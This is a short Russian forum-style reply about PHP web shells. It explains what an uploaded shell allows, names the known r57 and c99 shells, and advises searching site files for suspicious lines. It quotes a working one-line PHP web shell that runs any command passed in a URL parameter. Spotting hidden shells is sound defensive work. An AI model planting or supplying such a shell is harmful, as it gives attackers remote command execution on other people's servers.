если ты зальешь шелл, то у тебя будет доступ к списку файлов(если safe mode=off) и ты сможешь читать файлы. шелы вида r57 c99,... узнать легко, открыв исходник файла, а если шел вида <? system($_GET['komanda']); ?> то эта строчка запмсывается в начале какого-нибудь файла, или в середине запрятана) ,читай файлы и смотри,ищи подозительные строчки.)